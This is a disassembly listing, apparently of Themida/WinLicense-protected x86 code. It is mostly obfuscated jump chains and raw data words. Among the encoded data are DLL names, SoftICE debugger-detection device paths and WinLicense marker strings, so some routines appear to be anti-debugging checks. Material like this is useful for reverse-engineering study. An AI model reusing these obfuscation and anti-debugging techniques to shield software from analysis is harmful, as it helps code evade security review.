		dd 454730E9h, 0E9DDF74Dh, 0FFFF2F1Ch
; ---------------------------------------------------------------------------

loc_565A3C:				; CODE XREF: Themida_:00551FC6j
		sub	ebp, 5E97563Dh
		sub	ebp, 1EB25EA9h
		mov	ebx, [esp]
		jmp	loc_5637EA
; ---------------------------------------------------------------------------
aBI		db 'Ă=‰',0
		db 0EEh, 29h, 5Ch
		dd 0F1E90424h, 29FFFEDFh, 0BA525FFBh, 21A90A78h, 815AD309h
		dd 2E1438E3h, 5DEF681Fh, 1C890000h, 24343124h, 31243433h
		dd 80E92434h, 5CFFFF4Ch, 8001EE80h, 0EE8015CEh,	75E951B7h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565A97:				; CODE XREF: Themida_:0055F476j
		mov	edx, ebp
		pop	ebp
		sub	ebx, 37AC292Dh
		jmp	loc_55741D
; ---------------------------------------------------------------------------
		db 0B8h, 0FBh, 38h
		dd 0E9527E58h, 0FFFF8893h, 5E78ED81h, 0DD0126B5h, 5E78C581h
		dd 0E95B26B5h, 0FFFFB1F0h, 0FF2434FFh, 0CDE92434h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565ACF:				; CODE XREF: Themida_:00550FEDj
		pop	esp
		jmp	loc_56553F
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0A9h
		dd 66FFFEDBh, 0E924048Bh, 0FFFEE770h, 81242489h, 42404h
		dd 0E9580000h, 0FFFF1B9Ch, 0E95AD309h, 0FFFFC97Ah, 5CE991B6h
		dd 83FFFFDBh, 0EE8104C4h, 7DBB6BFBh, 0FEB042E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565B11:				; CODE XREF: Themida_:00552837j
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_551120
; ---------------------------------------------------------------------------

loc_565B1B:				; CODE XREF: Themida_:0055B067j
		neg	eax
		xchg	eax, edx
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		shr	ebp, 4
		xor	ebp, 3035426Eh
		jmp	loc_550A9E
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 89510000h, 0A06850E1h, 584EA71Fh, 0E4E9D8F7h
		dd 9FFFF9Ch, 2434FFCEh,	0FF9716E9h, 83BB53FFh, 0C1100509h
		dd 0CB8105EBh, 0F377A94h, 4EC814Bh, 89000000h, 0BF572404h
		dd 1E66C23Fh, 0FF95B3E9h, 7AB768FFh, 4890000h, 51585424h
		dd 5ADF6857h, 3C8B308Fh, 0CE95624h, 66FFFF56h, 66CCB60Fh
		dd 6613FC68h, 66240C89h, 66C8B60Fh, 71E99C51h, 68FFFEA8h
		dd 4DF36FE4h, 5624148Bh, 0FF4900E9h, 156866FFh,	4896600h
		dd 0DA02E924h, 0C483FFFEh, 812FE904h, 0EB83FFFFh, 5DF381FFh
		dd 541AC53h, 72DF7901h,	7C154505h, 57A42D5Bh, 0D8295F9Fh
		dd 9F57A405h, 56BA525Fh, 0F756CC6Eh, 1EA81D2h, 0E9000000h
		dd 0FFFFBB5Eh, 0E189515Ah, 0FF0BEBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565C0D:				; CODE XREF: Themida_:0056108Cj
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	edx
		mov	edx, 1
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	8A6h
		mov	[esp], eax
		push	ebx
		mov	ebx, 421E5A62h
		or	ebx, 7FA67195h
		jmp	loc_564564
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 0E8C15C24h, 81C8310Ch, 4ECh, 243C8900h, 4EC81h
		dd 24890000h, 0AC9EE924h, 17B8FFFEh, 1020E00h, 24048BC5h
		dd 4C481h, 0EF010000h, 83242C8Bh, 0E95004C4h, 0FFFF8923h
; ---------------------------------------------------------------------------

loc_565C94:				; CODE XREF: Themida_:00561CE9j
		mov	ebx, 4023727Ch
		xor	ebx, 24610389h
		sub	esi, ebx
		pop	ebx
		add	esi, edi
		jmp	loc_550E04
; ---------------------------------------------------------------------------

loc_565CA9:				; CODE XREF: Themida_:0055DD5Fj
		add	ecx, eax
		push	edi
		mov	edi, 707750B7h
		jmp	loc_557C80
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 83000000h,	29E904ECh, 0F7FFFEE0h, 0E99C241Ch
		dd 0FFFEA750h, 5E8h, 712A2900h,	0C281FCF7h, 50531626h
		dd 0D5F1815Eh, 81692585h, 6C9DC6h, 81DB2B00h, 9012ABF2h
		dd 3334FF59h, 81BD8958h, 81060B08h, 0E5DCACC0h,	53F08110h
		dd 8B6B28EEh, 0B2D7D95h, 0F6E88106h, 8B50A3A4h,	0B16B595h
		dd 1E048906h, 46E281FCh, 817CFFC2h, 1A73B8EBh, 1185891Ch
		dd 81060B1Bh, 1A73B4C3h, 8F0F1Ch, 81000000h, 0FF93E4FBh
		dd 0AA850FFFh, 0E9FFFFFFh, 0Ah,	6D0E901Dh, 27042A5Ah, 36EB04C9h
		dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h
		dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40007h, 11001Ah
		dd 70031h, 9C080109h, 0E8E94999h, 68000008h, 60D9DE8h
		dd 0FDE23AE9h, 9E8E68FFh, 30E9060Dh, 68FFFDE2h,	60D9F84h
		dd 0FDE226E9h, 0A0D868FFh, 1CE9060Dh, 68FFFDE2h, 60DA13Ch
		dd 0FDE212E9h, 0A26F68FFh, 8E9060Dh, 68FFFDE2h,	60DA2D8h
		dd 0FDE1FEE9h, 0A493E7FFh, 0A474EBFh, 0DCED3CE9h, 0A190E607h
		dd 704F55B2h, 0EE0D54E3h, 5F48ABAAh, 0FF87B46h,	0F815CEF9h
		dd 0B84192AFh, 80483CB0h, 70DFC599h, 0BB33BD88h, 0C3941DCFh
		dd 79066300h, 0DFB85A39h, 4E584DFBh, 6FFD8616h,	9FEEC2C7h
		dd 187F43BDh, 0BBF397CEh, 7E059712h, 820978ECh,	0BC869D84h
		dd 66F002C8h, 8486BACEh, 3D350DD9h, 0D9848649h,	724AE4DEh
		dd 0A3CB112Ah, 0A78F8D2Eh, 0E4DB23D2h, 67F5CD4Ah, 8A506DB6h
		dd 614E3B55h, 0ABBE0C26h, 0FB1D3A41h, 1BDC0A50h, 0AE945289h
		dd 2934BA50h, 0C8050EFFh, 50B1303Fh, 2CE3676Ch,	75Ah, 0ED5EC36h
		dd 0B8BB96E1h, 0D60D3C4Fh, 1D2E139h, 0B2A19CE4h, 0FB01DC03h
		dd 0A9EE1FC4h, 565E4F94h, 0FE0BE47Fh, 1EB10C3h,	998099EDh
		dd 399F6EC5h, 14F8D5DEh, 98058814h, 0F4C8BC8Dh,	941D087Ch
		dd 0E52E9FC3h, 4A90F4E8h, 60303C15h, 0DD8A9312h, 7153E7E3h
		dd 0CEA04EA2h, 992BDEA6h, 0C32911BDh, 0EC00C3D2h, 3A66E398h
		dd 43372B6Fh, 5978BE0Fh, 0C4D03DAFh, 168D9652h,	0BD0C91D5h
		dd 91F55964h, 0A730AFBDh, 0BEA41D5Ch, 45A245E3h, 0C9B00433h
		dd 8BFF77BCh, 1C3A667Ah, 3405C226h, 6F866442h, 6B4249Bh
		dd 46500000h, 0EC3BD40Fh, 9AE906DDh, 4B53BCA7h,	0FA3EEF74h
		dd 0B2B918DBh, 0E57E415Bh, 15CEF308h, 4291ACF8h, 0FE6550A5h
		dd 3357DF0Dh, 0B4C59983h, 0D5DE5FC5h, 50A514F8h, 0B094A5F0h
		dd 4F5E54CCh, 0F3C2D8C5h, 231DCB0Fh, 32400D0Ah,	4527h
		dd 832BB500h, 0C39415C7h, 6ED47248h, 7BF8D5DEh,	823C72E9h
		dd 40591178h, 27A7B0A6h, 0C5C3941Dh, 0A7B70596h, 9D4B642Ch
		dd 896A67B0h, 0A6B4CFADh, 9E057B0Eh, 64F6CCBDh,	83506FB9h
		dd 573B1262h, 621F0h, 50BD1800h, 72DB7548h, 48A01421h
		dd 536ABA34h, 1C79ED7Fh, 91BD9F1Ch, 0DA56DA72h,	3047DE9Bh
		dd 3122D01h, 0C4DCA1ADh, 0F01DCF23h, 0DAF901A5h, 7EAF48E6h
		dd 9BDB1835h, 7CF07A01h, 446DF1CFh, 5F07A40h, 0EE1FC4F3h
		dd 33BDAFA6h, 72B9CFBBh, 0CC7A4030h, 0B5809544h, 7004F1BAh
		dd 453A088Ch, 5BEh, 0E271485Ah,	1CC7F205h, 4AA9A0F3h, 0E57E455Dh
		dd 16CDF008h, 5FA5B8AFh, 0D12F360h, 0B2C22330h,	5AAF589Bh
		dd 0E507F46Fh, 99820541h, 453B8AC5h, 14F8D5DEh,	5430B4C6h
		dd 0DBC3941Dh, 0B3C449E7h, 0D5C90013h, 8273F161h, 0DFC407Dh
		dd 44C8F7h, 25A0022Ch, 0ED990D9Fh, 62C3941Dh, 19EDBBC3h
		dd 0C12573B6h, 0E7055F27h, 0B33BC394h, 0C394E5D7h, 0AC0E6258h
		dd 3241E970h, 0FFFEF557h, 50BDB1FFh, 9A850944h,	0A013AEC9h
		dd 45E3C759h, 0F074BFC8h, 0C394D194h, 7FC3271Bh, 14C65D3Fh
		dd 9FFABD90h, 0E52EDFBDh, 592064E8h, 74D37D40h,	91184BD5h
		dd 19477A6Dh, 4C3BA3F6h, 68FC6E42h, 3A61E41Ch, 0A84BAF93h
		dd 4795AECEh, 6ADD462Fh, 7FC33744h, 7EF096F7h, 6E9F4D30h
		dd 0B8FA1429h, 5D38A72Dh, 146D47C0h, 4C300F19h,	50A51408h
		dd 93BD9165h, 2A6580A9h, 15CA926h, 46B70000h, 0D3683430h
		dd 5A0E509h, 5DA5BD9Fh,	0E8B5EC7Ah, 0E7B512BAh,	67668E5Ch
		dd 0E89D859Fh, 0AECE2E92h, 86354795h, 0C5DD50F7h, 714C593Bh
		dd 6E63F31Dh, 0FFA79024h, 53A4519Bh, 0F109F466h, 1E217BC2h
		dd 8F577F0h, 197DC1FCh,	38151EEFh, 52B0662Fh, 0DABD956Ch
		dd 46Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h
		dd 0B11ECF3h, 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh,	11DB2033h
		dd 99BDE99Dh, 298F7EC5h, 0E4760D6Fh, 99B0D040h,	0F17B5FBDh
		dd 1EC5F004h, 24A8A7F1h, 64608416h, 0AB3A667Eh,	11091ABBh
		dd 0A3976010h, 427F8885h, 63ABD285h, 46390986h,	406h, 0BAB990E2h
		dd 0D40F3A4Dh, 2D1E83Bh, 0BDA69DE5h, 0EE754850h, 97ED0057h
		dd 455A4BA8h, 0FA0AFB78h, 0A2F710C3h, 0ADBF4C97h, 99BC4D39h
		dd 8D73C2C5h, 84150BDh,	0BA1A6FDEh, 94785C69h, 77425746h
		dd 7CBF50C8h, 18361DBFh, 61D5E035h, 0BC2ABBF1h,	0C3942EE6h
		dd 0AC102F77h, 6A967468h, 46324122h, 0E8724D57h, 94200044h
		dd 95B387C3h, 0FFFD49CCh, 0D5DE28FFh, 7B8372F8h, 0ABA6F544h
		dd 795957Dh, 0B15CEE7Ch, 0ACE0546Bh, 5B635993h,	0DF093F02h
		dd 9F086217h, 297FAEBDh, 2F13F01Eh, 33BDCC34h, 941DCFBBh
		dd 937A40C3h, 8DC1B584h, 635F7263h, 4ED80219h, 1DDCA83Ch
		dd 0FA53C394h, 0D5299DA4h, 0BA8F57F1h, 8BBD9F05h, 49DE7B6Ch
		dd 67F5C966h, 6075BBCFh, 0D2360C3Ah, 0A40369FDh, 791E276h
		dd 48E89BEFh, 0F8166C92h, 9943D8A4h, 0CA5ECA22h, 0EA04F7F5h
		dd 369DEC00h, 0BD12EC43h, 95E95D68h, 0CFADCDB1h, 730EA6B4h
		dd 0C4F64E11h, 74816CFEh, 0F7019359h, 51D30B7Fh, 0AEA69C86h
		dd 8651D3DAh, 38BB55ADh, 408FBACFh, 3A90E841h, 0D3BD12F0h
		dd 0B1000002h, 18F56E65h, 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah
		dd 9A393A05h, 5D60B853h, 2D106986h, 0F0CFD936h,	44718263h
		dd 76FE729Fh, 0C599BF12h, 6FBE2695h, 5AE4760Dh,	941DB6D2h
		dd 27C139C3h, 0B07B2145h, 8EF4BD99h, 6867B15Ch,	330A1A8Bh
		dd 99A4FC29h, 0D337D135h, 6FB9196Ah, 0B4A8EC50h, 6451F8BBh
		dd 6C232786h, 26Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h
		dd 4291ACF4h, 0B11ECF3h, 0B9FE2F34h, 66AE5F84h,	0E1BF46Fh
		dd 11DB2033h, 99BFE99Dh, 298F7EC5h, 0E4760D6Fh,	6D5CAB5Ah
		dd 0C8BC8D9Ch, 208A5AF4h, 1BBD99B0h, 0E183B3FCh, 0F7EB6094h
		dd 0D764DB65h, 7976F5D5h, 381C2D78h, 0DFEA3F0Eh, 1F6B830Dh
		dd 903A66F1h, 0BBFB7CAAh, 1D915BE0h, 3A66F163h,	46EE78F4h
		dd 3A66F102h, 0D1B5BD85h, 563A66F1h, 0D584086Ch, 0BB6AF0CFh
		dd 4E178763h, 0BAAB2BBDh, 0D245F246h, 4C43F295h, 0A4F746BAh
		dd 0B5977B95h, 0C09C34ABh, 64A62500h, 63943CAh,	61FA81DDh
		dd 0A21F73FBh, 3F903A66h, 1569DDECh, 8B9C4D31h,	3841ACBEh
		dd 0A20F7BF3h, 0BA803A66h, 6AA0A846h, 0A0B38E9Bh, 50D1B724h
		dd 4A6143DBh, 6964B19Ch, 0F4A95C83h, 0AD112C75h, 0FA4DAE69h
		dd 4F868AA4h, 1697D1FDh, 26196392h, 1EF00508h, 49CF27DDh
		dd 0C2D1B8ECh, 0E3C73B8Fh, 0FE09F470h, 21D5B135h, 605A3A66h
		dd 1E6BE20Ch, 785C61B6h, 0E0DF2594h, 6560A21Ch,	855E6BBCh
		dd 3F2D1068h, 0E052C8CEh, 73D4DC11h, 39113F13h,	125482C8h
		dd 77FF0993h, 3A668313h, 28BCAE94h, 3A66835Ch, 0CC41EFD3h
		dd 0BD6A89B4h, 63925867h, 60A241Bh, 82764157h, 6B901D97h
		dd 5F62BB11h, 0FA0FF87Bh, 0DDEB7BCFh, 0ECF21426h, 2E5AD25Ch
		dd 0A182EB2Ah, 0F8F5AF59h, 28CB0613h, 0BF29719Ch, 0CD7B5F6Ah
		dd 0B61A3740h, 3E82BDC7h, 8509384Fh, 2A4B3FB7h,	0E6DC82EBh
		dd 43370217h, 0EC9E2F01h, 60B76684h, 539DA651h,	0FC7C6D3Fh
		dd 0AC555052h, 18F56E5Bh, 0B328320Fh, 891DE9B4h, 82EB5AFDh
		dd 5FCF0872h, 0E8608E2Bh, 285CD062h, 0BF82EB58h, 8B11AD5Bh
		dd 4ED86AF0h, 0EB58A226h, 33DD2582h, 0E0414EA3h, 0B1BB9FFCh
		dd 7FB8F27h, 804CF8E0h,	0E007186Ch, 0B7ABEFF8h,	0FC80DE99h
		dd 3B71F567h, 0D986EDAAh, 40EEDB2Ch, 0C10BFFC3h, 15B7C79Ah
		dd 7FA9CB72h, 0AB48858Eh, 0A81C297Ah, 66B7F4B8h, 0C7C6DC40h
		dd 0E60ED5DEh, 264675E2h, 3A391D65h, 398DB8CDh,	870B4A50h
		dd 668F1E9Ah, 0D233201Dh, 3A00F4C1h, 32A69285h,	0C8662EFFh
		dd 1153h, 0BB528900h, 0FB45F966h, 80BFC5B4h, 0C82ED83Ch
		dd 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh
		dd 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 68CF7BCFh
		dd 3F01h, 81241C89h, 4ECh, 243C8900h, 5E08950h,	4, 42Dh
		dd 24048700h, 2434895Ch, 0D9D3968h, 243C8B06h, 4C481h
		dd 0F8680000h, 89000048h, 4812424h, 424h, 7C685E00h, 8900001Ch
		dd 468F243Ch, 24348B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 0D6h
		dd 0B89962B7h, 60DA567h, 0E0FFC503h, 0F30412Fh,	6CDFB7D1h
		dd 12BF4F8h, 48737C5Dh,	72E9h, 0BD836000h, 60B1995h, 5840F00h
		dd 0E9000000h, 5Dh, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h
		dd 80000000h, 850F333Eh, 8, 0E946106Ah,	24h, 0F343E80h
		dd 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh, 406A0000h
		dd 2E946h, 6A0000h, 16C5858Dh, 8950060Bh, 50962404h, 0FF006A96h
		dd 0B0BD995h, 0C6C36106h, 0B284585h, 73684D06h,	81B28991h
		dd 0E7DB2434h, 0B5FF16BCh, 60B0315h, 390D858Dh,	0D0FF060Bh
		dd 0BD98589h, 1EEB060Bh, 5C2E5C5Ch, 45434953h, 2E5C5C00h
		dd 5749535Ch, 444956h, 5C2E5C5Ch, 4349544Eh, 0C08B0045h
		dd 0BD83F88Bh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h
		dd 0C08B5350h, 40FB8h, 35858900h, 8D060B2Ah, 0DB31A9Dh
		dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 35858900h
		dd 8D060B2Ah, 0DB0099Dh, 5BD3FF06h, 0B5035358h,	60B0561h
		dd 60C08B5Ah, 20619503h, 0C661060Bh, 0B284585h,	0BD8B4306h
		dd 60B01FDh, 4E8h, 8E6EFC00h, 8E8BCh, 4D240000h, 558560FCh
		dd 0D4BEED16h, 5957DDE9h, 0D78B6650h, 424448Bh,	80BF5250h
		dd 0F0AC1B2h, 8B525031h, 0B1310FF1h, 5A585A4Bh,	0E8008B58h
		dd 12h,	3391D3D6h, 6FE68618h, 6EF0E75Fh, 2EA93D70h, 0FB8B5D37h
		dd 2444895Eh, 95095804h, 60B2291h, 0B01B5FFh, 0B70F060Bh
		dd 0D858DF0h, 0F5060B39h, 8B66D0FFh, 665090F8h,	2990FB8Bh
		dd 0B280D85h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66A8C352h, 8D29CB8Bh
		dd 60B169Dh, 4E8h, 8000h, 11E96000h, 4D000000h,	0F215C894h
		dd 0FC57B3C8h, 5F3AF5D2h, 0DB89DCD8h, 52505061h, 310F9BB1h
		dd 585ACE8Bh, 424448Bh,	952BBF66h, 5250008Bh, 13E8h, 5940A500h
		dd 3F5443F4h, 0C378F94Eh, 6220369h, 0D01088FAh,	0F5A8BB1h
		dd 0DCE4BA31h, 585A0724h, 4244489h, 12E9h, 0ADF77800h
		dd 0E484CFA2h, 0AA295026h, 0E6297440h, 58C9C318h, 6800Fh
		dd 8D8B0000h, 60B1B61h,	6A036Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 879237C3h, 0FF9A6890h
		dd 3DBD893Ah, 6A060B00h, 4870F00h, 66000000h, 6AF1C9BFh
		dd 52006A03h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 679CE7BBh, 14697A36h, 830FBF7Ah,	0
		dd 0BD9C8268h, 0F88B66F8h, 82243481h, 6A38BD9Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 7EDAC353h, 888B8BFCh, 9D89603Bh, 60B01B9h, 23ED952Bh
		dd 8D61060Bh, 0DA6949Dh, 6693F906h, 6650FE8Bh, 932B82BEh
		dd 0BD89D0FFh, 60B0B45h, 10850F40h, 0E9000003h,	0Bh, 0C8FEB068h
		dd 5303682Fh, 58F489DFh, 7E9h, 58FDCC00h, 6B6AAABBh, 7E890h
		dd 38340000h, 1779C69Dh, 6160538Ah, 60505A5Fh, 0AE9h, 3B7BFE00h
		dd 2C28537Eh, 0F3DFA5Dh, 86h, 0E8906100h, 0Ah, 0BDD9F921h
		dd 7DAA246Ah, 0B5017B44h, 60B1899h, 0F006A5Fh, 38Dh, 0BDD98000h
		dd 562B9C68h, 0E852503Bh, 0Fh, 0FCD598C6h, 9A50A1A8h, 1B635D57h
		dd 666D5F35h, 0F59D38Bh, 7E931h, 66D0000h, 0C3F032F3h
		dd 81585AA1h, 2B1C2434h, 6A3B56h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 926708C3h, 0ACBA8A97h
		dd 6AE7F280h, 57006A03h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0EDFA21Dh, 9563D742h, 14E8006Ah
		dd 0E7000000h, 31BB9530h, 0ED703EAEh, 5C7F438Dh, 6E464F4h
		dd 66D2C4C4h, 0D32C181h, 66036A5Ah, 2A1D781h, 4E8h, 0
aPrs		db 'ŔPRé',0Dh,0
		align 4
		dd 2C997174h, 0FE784EBCh, 0F9464AC0h, 0BA310FC0h, 3C8C7CC4h
		dd 8B50585Ah, 0E9042444h, 10h, 0BD241329h, 0DBCBC587h
		dd 49B6272Bh, 65E858B4h, 4489008Bh, 8B660424h, 8DF958D6h
		dd 0DA69D9Dh, 0DDB50106h, 93060B06h, 8B50EC8Ah,	6A93D6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0D126D7C3h, 75D90191h, 0D18B662Eh, 8166D0FFh, 81C297E1h
		dd 8512C2F6h, 850F4014h, 167h, 2B719589h, 8958060Bh, 0B138595h
		dd 52609006h, 0AE8h, 0DEF8FC00h, 0E7183AD4h, 5A7510D3h
		dd 2830F5Eh, 50000000h,	6650615Bh, 6090CB8Bh, 9D89C38Ah
		dd 60B12C5h, 6A006A61h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 647DC351h, 0B9B596CFh
		dd 378D4F16h, 10E8h, 0A7B5E900h, 48E21701h, 2BE47770h
		dd 0F866975Eh, 0E85EF818h, 4, 80h, 8A505F56h, 24448BD7h
		dd 9E804h, 4E7D0000h, 2583BB8Fh, 6638AAF1h, 5EB64EBAh
		dd 0F60008Bh, 8Ch, 54D0BB00h, 89617F98h, 50042444h, 6E952h
		dd 7FEA0000h, 1C49EE3Dh, 0B966310Fh, 585ADC7Fh,	0F1B52958h
		dd 6A060B2Dh, 9CC98103h, 6A2DB456h, 6870F00h, 2B000000h
		dd 0B270D95h, 89036A06h, 0B0E4585h, 0DB8A6806h,	0BE6698FEh
		dd 3481F8C1h, 0FEDB8A24h, 9D8DF958h, 60DA6A8h, 941BD01h
		dd 8B93060Bh, 0EC8A50D3h, 79BD8B93h, 0FF060B27h, 5840FD0h
		dd 0B9000000h, 58C2CB54h, 40850F40h, 0F000000h,	280h, 58D48A00h
		dd 0E9FB8B66h, 14Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 64C35343h, 0EE9h, 0F618C300h,	9B07B1D3h
		dd 0F7367CFh, 8B02FBD9h, 0D6B70FD8h, 59BD8B4Bh,	58060B2Eh
		dd 0CE9h, 0FD0D300h, 6605AAFCh,	1D80F83Eh, 4585C60Dh, 43060B28h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B1C35646h
		dd 80253EDDh, 0AC687FE6h, 53697618h, 5ACA8B66h,	0FB240481h
		dd 8B570031h, 0B07058Dh, 1B5FF06h, 89060B0Bh, 0B3315BDh
		dd 0E1958B06h, 8D060B19h, 0B390D85h, 55858906h,	0FF060B1Ah
		dd 0AD181D0h, 934B34F0h, 0EE8h,	8217A100h, 0AE520D2Dh
		dd 0B4A38119h, 595736BAh, 935E5650h, 31659589h,	0D0FF060Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 45C35343h
		dd 0E6D034AAh, 0DA292001h, 12E9h, 86E67F00h, 0A3FDB914h
		dd 0DD92A510h, 0A3311641h, 0B948D24h, 0B116195h, 59D8D06h
		dd 0E9060B73h, 11h, 63BEB273h, 17C4A772h, 3476E12Fh, 6972C5DCh
		dd 1B8DCh, 7E90000h, 0C2000000h, 4E341821h, 0E3FFB6E0h
		dd 22FDBD29h, 0C18B060Bh, 8BF2B70Fh, 0E7F5BAC0h, 0BD8348FAh
		dd 60B05BDh, 83097500h,	0B29D1BDh, 19740006h, 0C08B5350h
		dd 40FB8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 99858900h, 8D060B12h
		dd 0DB0229Dh, 5BD3FF06h, 5EB1B958h, 8D8B07EBh, 60B103Dh
		dd 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	60DAE3Dh
		dd 0AE39858Dh, 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h
		dd 0DAE4995h, 0FF196A06h, 0DAE3DB5h, 6A016A06h,	0D2858D00h
		dd 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh
		dd 95FF060Dh, 60DAE45h,	0AE39B5FFh, 95FF060Dh, 60B2ACDh
		dd 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h, 60DADA3h
		dd 16850h, 95FF8000h, 60DAE49h,	858D046Ah, 60DAE3Dh, 6A046A50h
		dd 0FC858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h
		dd 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh,	95FF060Dh
		dd 60B2ACDh, 3D8589C3h,	8D060DAEh, 0DAE3985h, 858D5006h
		dd 60DADA3h, 16850h, 95FF8000h,	60DAE49h, 858D046Ah, 60DAE3Dh
		dd 6A046A50h, 0E4858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh
		dd 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh
		dd 95FF060Dh, 60B2ACDh,	3D8589C3h, 8D060DAEh, 0DAE3985h
		dd 858D5006h, 60DADA3h,	16850h,	95FF8000h, 60DAE49h, 858D046Ah
		dd 60DAE3Dh, 6A046A50h,	0F858D00h, 50060DAEh, 0AE39B5FFh
		dd 95FF060Dh, 60B2F01h,	0AE39B5FFh, 95FF060Dh, 60DAE45h
		dd 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh
		dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h
		dd 858D046Ah, 60DAE3Dh,	6A046A50h, 0BF858D00h, 50060DADh
		dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh,	95FF060Dh
		dd 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 65BD83C3h
		dd 60B27h, 0B840Fh, 9D8B0000h, 60B2765h, 894CC383h, 0BD83C303h
		dd 60B2765h, 0B840F00h,	8B000000h, 0B27659Dh, 50C38306h
		dd 83C30389h, 0B2765BDh, 840F0006h, 0Bh, 27659D8Bh, 0C383060Bh
		dd 0C3038954h, 2765BD83h, 0F00060Bh, 0B84h, 659D8B00h
		dd 83060B27h, 38958C3h,	65BD83C3h, 60B27h, 0B840Fh, 9D8B0000h
		dd 60B2765h, 895CC383h,	60C3C303h, 0AE3D8589h, 858D060Dh
		dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh
		dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE34858Dh, 0FF50060Dh
		dd 0DAE39B5h, 195FF06h,	83060B2Fh, 0B05BDBDh, 840F0006h
		dd 0Ch,	0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
		dd 60B2ACDh, 8960C361h,	0DAE3D85h, 39858D06h, 50060DAEh
		dd 0ADA3858Dh, 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh
		dd 0AE3D858Dh, 6A50060Dh, 8D006A04h, 0DAE1685h,	0B5FF5006h
		dd 60DAE39h, 2F0195FFh,	0BD83060Bh, 60B05BDh, 0C840F00h
		dd 0FF000000h, 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h
		dd 0CD95FF06h, 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh
		dd 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h, 0DAE4995h
		dd 8D046A06h, 0DAE3D85h, 46A5006h, 858D006Ah, 60DAE1Dh
		dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h
